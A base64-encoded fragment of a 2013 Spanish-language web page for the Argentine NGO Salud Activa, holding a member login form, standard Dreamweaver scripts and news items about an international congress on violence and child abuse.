8gcmVnaXN0cmFkbzwvc3Ryb25nPiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250PiA8L3N0cm9uZz4gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDkiIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPlVzdWFyaW8mbmJzcDsmbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzOSIgdmFsaWduPSJtaWRkbGUiPjxpbnB1dCBuYW1lPSJ1c3VhcmlvIiB0eXBlPSJ0ZXh0IiBjbGFzcz0icmVnIiBpZD0idXN1YXJpbyIgc2l6ZT0iNyI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjciIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPkNvbnRyYXNlJm50aWxkZTthJm5ic3A7Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzkiIHZhbGlnbj0ibWlkZGxlIj48aW5wdXQgbmFtZT0icGFzcyIgdHlwZT0icGFzc3dvcmQiIGNsYXNzPSJyZWciIGlkPSJwYXNzIiBzaXplPSI3Ij48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MiIgYWxpZ249InJpZ2h0IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9ImJvdG9uIj48aW5wdXQgdHlwZT0iaW1hZ2UiIHNyYz0iaW1nL3JlZy5qcGciIHdpZHRoPSI1OCIgaGVpZ2h0PSIzMCI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjciIGhlaWdodD0iMTkiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgPjxhIGhyZWY9Imh0dHA6Ly93d3cuZmFjZWJvb2suY29tL2hvbWUucGhwPyMhL3BhZ2VzL01lcmxvLUFyZ2VudGluYS9TQUxVRC1BQ1RJVkEvMTAwNTgzNTQzMzE3MzIyP3JlZj10cyZhamF4cGlwZT0xJl9fYT03IiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9ImltZy9mYWNlYm9vay5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzExIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48ZGl2IGFsaWduPSJsZWZ0Ij48YSBocmVmPSJodHRwOi8vdHdpdHRlci5jb20vU2FsdWRBY3RpdmFPTkciIHRhcmdldD0iX2JsYW5rIj48aW1nIHNyYz0iaW1nL3R3aXRlci5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC9kaXY+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSI1IiBhbGlnbj0icmlnaHQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIj48bGFiZWw+PGZvbnQgc2l6ZT0iLTYiPlNpCiAgICAgICAgICAgICAgICAgICAgICAgdG9kYXYmaWFjdXRlO2Egbm8gZXMgdXN1YXJpbyA8L2ZvbnQ+IDxhIGhyZWY9ImluZGV4LnBocD9pZD0xMSIgY2xhc3M9ImJvdG9uIj48Zm9udCBzaXplPSItNiI+cmVnJmlhY3V0ZTtzdHJlc2UKICAgICAgICAgICAgICAgICAgICAgICAgYXF1JmlhY3V0ZTsgPGZvbnQgY29sb3I9IiM2NjY2NjYiPiYjODIyNjs8L2ZvbnQ+PC9mb250PjwvYT4gPGEgaHJlZj0iaW5kZXgucGhwP2lkPTEyIiBjbGFzcz0iYm90b24xIj48Zm9udCBzaXplPSItNiI+b2x2aWRlIG1pIGNvbnRyYXNlJm50aWxkZTthPC9mb250PjwvYT48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE3Ij4mbmJzcDsgPC90ZD4KICAgICAgICAgICAgICA8L3RyPgoJCQkgIDwvZm9ybT4KCiAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICA8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTEiIC8+Cjx0aXRsZT5Eb2N1bWVudG8gc2luIHQmaWFjdXRlO3R1bG88L3RpdGxlPgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KPHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCIgdHlwZT0idGV4dC9KYXZhU2NyaXB0Ij4KPCEtLQpmdW5jdGlvbiBNTV9yZWxvYWRQYWdlKGluaXQpIHsgIC8vcmVsb2FkcyB0aGUgd2luZG93IGlmIE5hdjQgcmVzaXplZAogIGlmIChpbml0PT10cnVlKSB3aXRoIChuYXZpZ2F0b3IpIHtpZiAoKGFwcE5hbWU9PSJOZXRzY2FwZSIpJiYocGFyc2VJbnQoYXBwVmVyc2lvbik9PTQpKSB7CiAgICBkb2N1bWVudC5NTV9wZ1c9aW5uZXJXaWR0aDsgZG9jdW1lbnQuTU1fcGdIPWlubmVySGVpZ2h0OyBvbnJlc2l6ZT1NTV9yZWxvYWRQYWdlOyB9fQogIGVsc2UgaWYgKGlubmVyV2lkdGghPWRvY3VtZW50Lk1NX3BnVyB8fCBpbm5lckhlaWdodCE9ZG9jdW1lbnQuTU1fcGdIKSBsb2NhdGlvbi5yZWxvYWQoKTsKfQpNTV9yZWxvYWRQYWdlKHRydWUpOwoKZnVuY3Rpb24gTU1fcHJlbG9hZEltYWdlcygpIHsgLy92My4wCiAgdmFyIGQ9ZG9jdW1lbnQ7IGlmKGQuaW1hZ2VzKXsgaWYoIWQuTU1fcCkgZC5NTV9wPW5ldyBBcnJheSgpOwogICAgdmFyIGksaj1kLk1NX3AubGVuZ3RoLGE9TU1fcHJlbG9hZEltYWdlcy5hcmd1bWVudHM7IGZvcihpPTA7IGk8YS5sZW5ndGg7IGkrKykKICAgIGlmIChhW2ldLmluZGV4T2YoIiMiKSE9MCl7IGQuTU1fcFtqXT1uZXcgSW1hZ2U7IGQuTU1fcFtqKytdLnNyYz1hW2ldO319Cn0KLy8tLT4KPC9zY3JpcHQ+CiAgICAgICAgICAgICA8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoJCQkgCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CjwhLS0KI0xheWVyMSB7Cglwb3NpdGlvbjphYnNvbHV0ZTsKCXdpZHRoOjY1MXB4OwoJaGVpZ2h0OjIxOHB4OwoJei1pbmRleDoxOwp9CiNMYXllcjIgewoJcG9zaXRpb246YWJzb2x1dGU7Cgl3aWR0aDoyMDBweDsKCWhlaWdodDoxMTVweDsKCXotaW5kZXg6MTsKCXZpc2liaWxpdHk6IHZpc2libGU7Cn0KLkVzdGlsbzEgewoJZm9udC1zaXplOiAxOHB4OwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLkVzdGlsbzIgewoJZm9udC1zaXplOiAxNHB4OwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLkVzdGlsbzMge2NvbG9yOiAjNTA2OTkwOyBsaW5lLWhlaWdodDogMTJweDsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBmb250LWZhbWlseTogVGFob21hO30KLS0+Cjwvc3R5bGU+CjwvaGVhZD4KCjxib2R5IGxlZnRtYXJnaW49IjIiIG1hcmdpbndpZHRoPSIyIj4KPHRhYmxlIHdpZHRoPSI2MDgiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICA8dHI+CiAgICA8dGQgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCB3aWR0aD0iMiUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzA3LmpwZyIgd2lkdGg9IjI0IiBoZWlnaHQ9IjE0IiAvPjwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSI5MCUiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18wNy5qcGciPiZuYnNwOzwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSI4JSIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wOS5qcGciIHdpZHRoPSI0NSIgaGVpZ2h0PSIxNyIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRkIGNvbHNwYW49IjQiPjxiciAvPgogICAgICA8dGFibGUgd2lkdGg9Ijk4JSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICA8dHI+CiAgICAgICAgPHRkIHdpZHRoPSIyJSI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgICA8dGQgd2lkdGg9IjkzJSI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CjwhLS0gSU5JQ0lPIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzIzMDQyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjIvMTEvMjAxMzwvc3Bhbj48YnI+SVYgQ29uZ3Jlc28gSW50ZXJuYWNpb25hbCB2aW9sZW5jaWEsIG1hbHRyYXRvIHkgYWJ1c288L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxzdHJvbmc+MTQsIDE1IHkgMTYgZGUgTm92aWVtYnJlIEFCSUVSVEEgTEEgSU5TQ1JJUENJJk9hY3V0ZTtOISAoY29uIGRlc2N1ZW50byBoYXN0YSBlbCAyNy84KTxiciAvPjwvc3Ryb25nPjwvcD4NCjxwPjxzdHJvbmc+QUJJRVJUQSBMQSBSRUNFUENJJk9hY3V0ZTtOIERFIFRSQUJBSk88YSBocmVmPSJodHRwOi8vd3d3LmNvbmdyZXNvdmlvbGVuY2lhLmNvbS9pbmRleC5waHA/aWQ9bW9kYWxpZGFkZXMiIHRhcmdldD0iX2JsYW5rIj4gKG1hcyBpbmZvKTwvYT48L3N0cm9uZz48L3A+DQo8cD48c3BhbiBzdHlsZT0iY29sb3I6ICNmZjY2MDA7Ij48c3Ryb25nPk9yZ2FuaXphOiBTYWx1ZCBBY3RpdmE8L3N0cm9uZz48L3NwYW4+PC9wPg0KPHA+PHNwYW4gc3R5bGU9ImNvbG9yOiAjZmY2NjAwOyI+SW5jcmlwdG9zIGFsIFBvcnRhbCBkZSBTYWx1ZCBBY3RpdmEsIGltcG9ydGFudGVzIGRlc2N1ZW50b3MhPGJyIC8+PC9zcGFuPjwvcD4NCjxwPkx1Z2FyIGRlIFJlYWxpemFjaSZvYWN1dGU7biB5IGNvbGFib3JhY2lvbjogVW5pdmVyc2lkYWQgZGVsIEVzdGUsIExhIFBsYXRhIEJ1ZW5vcyBBaXJlczwvcD4NCjxwPk1hcyBkZSAxNTAgdHJhYmFqb3MgcHJlc2VudGFkb3MsIHVsdGltb3MgZGlhcyBwYXJhIGluc2NyaWJpcnNlIGNvbiBkZXNjdWVudG8hITwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuY29uZ3Jlc292aW9sZW5jaWEuY29tL2luZGV4LnBocD9pZD1pbnNjcmlwY2lvbiIgdGFyZ2V0PSJfYmxhbmsiPkluc2NyaWJpcnNlPC9hPjwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuY29uZ3Jlc292aW9sZW5jaWEuY29tL2luZGV4LnBocD9pZD1pbnNjcmlwY2lvbiIgdGFyZ2V0PSJfYmxhbmsiPjxiciAvPjwvYT48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAxIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDEiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MDQvMTEvMjAxMzwvc3Bhbj48YnI+RWwgY29sZWdpbyBkZSBQc2lj82xvZ29zIGRlIEPzcmRvYmEgc2UgcHJvbnVuY2lhIGVuIHJlbGFjafNuIGFsIFNBUCB5IGVuIGNvbmNvcmRhbmNpYSBjb24gbG8gZXhwcmVzYWRvIHBvciBlbCBDb2xlZ2lvIGRlIFBzaWPzbG9nb3MgZGUgTWFyIGRlbCBQbGF0YSB5IGVsIENvbGVnaW8gZGUgUHNpY/Nsb2dvcyBkZSBsYSAgUHJvdmluY2lhIGRlIEJ1ZW5vcyBBaXJlczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+Jm5ic3A7PC9wPg0KPHA+TGFzIGNvbnRyb3ZlcnNpYXMgZ2VuZXJhZGFzIGVuIHJlbGFjaSZvYWN1dGU7biBhbCAic2luZHJvbWUgZGUgYWxpZW5hY2kmb2FjdXRlO24gcGFyZW50YSIgU0FQLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMxMCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzEwIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzE2MTAyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTYvMTAvMjAxMzwvc3Bhbj48YnI+U2FsdWQgQWN0aXZhIG90b3JnYSBtZWRpYXMgYmVjYXMgcGFyYSBlbCBJViBDb25ncmVzbyBJbnRlcm5hY2lvbmFsLCBWIE5hY2lvbmFsLCBWSSBSZWdpb25hbCBWaW9sZW5jaWEsIE1hbHRyYXRvIHkgQWJ1c28uPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD4mbmJzcDs8L3A+DQo8cD5TZXImYWFjdXRlO24gb3RvcmdhZGFzIDUwIG1lZGlhcyBiZWNhcywgcXVlZGFuIHBvY2FzISEhIGNvbmRpY2lvbjo8L3A+DQo8cD5QZXJ0ZW5lY2VyIGFsIGFtYml0byBwdWJsaWNvIG8gYSBPTkcsIHNlIGNvbnNpZGVyYSB0YW1iaWVuIGxhIGRpc3RhbmNpYSBhbCBsdWdhciBkZWwgZXZlbnRvISEhIGVzIG11eSBzZW5jaWxsbywgc29sbyBkZWJlcyBlbnZpYXIgdW4gZW1haWwuLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwOSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA5Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjI0LzA3LzIwMTM8L3NwYW4+PGJyPk5FQ0VTSVRBTU9TIERFIFNVIFNPTElEQVJJREFEIEhBQ0lBIExPUyBOSdFPUyBZIE5J0UFTISEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InR